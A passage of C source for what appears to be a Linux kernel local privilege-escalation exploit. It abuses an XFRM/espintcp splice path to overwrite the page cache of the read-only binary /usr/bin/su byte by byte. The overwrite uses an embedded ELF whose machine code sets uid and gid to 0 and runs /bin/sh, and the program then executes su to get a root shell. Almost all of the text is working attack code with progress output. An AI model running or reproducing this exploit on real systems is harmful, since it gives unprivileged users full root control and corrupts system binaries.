int tr = 40;
if (ioctl(STDOUT_FILENO, TIOCGWINSZ, &ws) == 0 && ws.ws_row > FRAME_LINES)
tr = (int)ws.ws_row;
printf("\033[%d;%dr", FRAME_LINES + 1, tr);
printf("\033[%d;1H", tr); /* park cursor at bottom of scroll region */
fflush(stdout);
}
for (idx = 0; idx < desired_len; idx++) {
uint64_t off = byte_off + idx;
unsigned char current, final, need_stream;
live_state[idx] = read_byte_at(target_file, off);
current = live_state[idx];
draw_smash_frame(desired, desired_len, live_state, idx,
changed, skipped, 0);
if (current == desired[idx]) {
printf(C_DIM "[-] [%zu/%zu] +%04llx already=%02x skip\n" C_RESET,
idx + 1, desired_len, (unsigned long long)off, current);
skipped++;
continue;
}
target_splice_off = (loff_t)off;
need_stream = current ^ desired[idx];
choose_iv_for_stream0(need_stream);
active_esp_seq++;
printf(C_BCYN "[*]" C_RESET " [%zu/%zu]"
" +%04llx " C_RED "%02x" C_RESET " -> " C_BGRN "%02x" C_RESET
" xor=" C_CYAN "%02x" C_RESET
" seq=" C_DIM "%u" C_RESET
" nonce=" C_DIM "%u" C_RESET "\n",
idx + 1, desired_len, (unsigned long long)off,
current, desired[idx], need_stream,
active_esp_seq, stream0_nonce[need_stream]);
/*
printf(C_BCYN "[*]" C_RESET " before:\n");
print_hex_row(target_file, off, "orig", current, "want", desired[idx]);
printf(C_BCYN "[*]" C_RESET " iv=" C_CYAN);
{
size_t k;
for (k = 0; k < sizeof(active_esp_gcm_iv); k++)
printf("%02x", active_esp_gcm_iv[k]);
}
*/
printf(C_RESET " firing espintcp splice...\n");
if (run_trigger_pair() < 0) {
fprintf(stderr, C_BRED "[-] trigger pair failed at index=%zu\n" C_RESET, idx);
return 2;
}
final = read_byte_at(target_file, off);
live_state[idx] = final;
/*
printf(C_BCYN "[*]" C_RESET " after:\n");
print_hex_row(target_file, off, "was", current, "now", final);
*/
if (final == desired[idx]) {
printf(C_BGRN "[+]" C_RESET " smashed"
C_DIM " %02x -> %02x index=%zu offset=+%04llx\n\n" C_RESET,
current, final, idx, (unsigned long long)off);
changed++;
continue;
}
if (final == current) {
printf(C_BGRN "[-]" C_RESET
" fixed behavior: byte unchanged at index=%zu offset=%llu\n",
idx, (unsigned long long)off);
return 0;
}
printf(C_BRED "[-]" C_RESET
" BUG: byte changed but desired-value check mismatched"
" index=%zu offset=%llu desired=%02x got=%02x\n",
idx, (unsigned long long)off, desired[idx], final);
return 1;
}
/* final frame: all bytes done, cursor past the end */
draw_smash_frame(desired, desired_len, live_state, desired_len,
changed, skipped, 0);
/* restore full scroll region and drop cursor below the frame */
printf("\033[r\033[%d;1H\n", FRAME_LINES + 1);
/* final verify pass */
printf(C_BCYN "[*]" C_RESET " verifying %zu bytes...\n", desired_len);
for (idx = 0; idx < desired_len; idx++) {
uint64_t off = byte_off + idx;
unsigned char final = read_byte_at(target_file, off);
if (final != desired[idx]) {
printf(C_BRED "[-]" C_RESET
" BUG: final verify mismatch index=%zu offset=%llu desired=%02x got=%02x\n",
idx, (unsigned long long)off, desired[idx], final);
return 1;
}
}
printf(C_BCYN "[*]" C_RESET " bytes_flip_summary len=%zu changed=" C_BGRN "%zu" C_RESET
" skipped=" C_DIM "%zu" C_RESET "\n",
desired_len, changed, skipped);
if (changed == 0) {
fprintf(stderr, "all requested bytes already had desired values\n");
return 2;
}
printf(C_BGRN "[+]" C_RESET " BUG: changed requested copied byte range to desired values\n");
return 1;
}
static void usage(const char *prog)
{
fprintf(stderr, "usage: %s <target-file> <offset> <hex-bytes>\n", prog);
fprintf(stderr, "example: %s /path/to/target 0 42434445\n", prog);
}
static const uint8_t shell_elf[PAYLOAD_LEN] = {
0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x02,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00,
0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,
0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x31,0xff,0x31,0xf6,0x31,0xc0,0xb0,0x6a,
0x0f,0x05,0xb0,0x69,0x0f,0x05,0xb0,0x74,0x0f,0x05,0x6a,0x00,0x48,0x8d,0x05,0x12,
0x00,0x00,0x00,0x50,0x48,0x89,0xe2,0x48,0x8d,0x3d,0x12,0x00,0x00,0x00,0x31,0xf6,
0x6a,0x3b,0x58,0x0f,0x05,0x54,0x45,0x52,0x4d,0x3d,0x78,0x74,0x65,0x72,0x6d,0x00,
0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
};
int main(int argc, char **argv)
{
unsigned char *desired;
uint64_t file_size, byte_off;
size_t desired_len, sample_len;
int ret;
setvbuf(stdout, NULL, _IONBF, 0);
printf(C_BCYN "[*]" C_RESET
" uid=" C_BWHT "%d" C_RESET
" euid=" C_BWHT "%d" C_RESET
" gid=" C_BWHT "%d" C_RESET
" egid=" C_BWHT "%d" C_RESET "\n",
getuid(), geteuid(), getgid(), getegid());
printf(C_BCYN "[*]" C_RESET
" mode=xfrm_espintcp_pagecache_replace collateral=after\n");
printf("\n");
// system("cp /bin/cat /tmp/test");
// file_size = use_existing_target("/tmp/test");
file_size = use_existing_target("/usr/bin/su");
byte_off = 0;
desired = (unsigned char *)shell_elf;
desired_len = PAYLOAD_LEN;
printf(C_BCYN "[*]" C_RESET " target=%s size=%llu\n",
target_file, (unsigned long long)file_size);
verify_write_denied("outer");
setup_user_netns_xfrm();
verify_write_denied("userns_root_mapped_to_outer_user");
ret = replace_existing_bytes_after(byte_off, desired, desired_len,
file_size);
/* reset scroll region; some terminals home the cursor on \033[r so
* explicitly jump to the last row so PS1 lands below our output */
write(STDOUT_FILENO, "\033[r\033[9999;1H\033[?25h\n", 19);
execve("/usr/bin/su", NULL, NULL);
return ret;
}
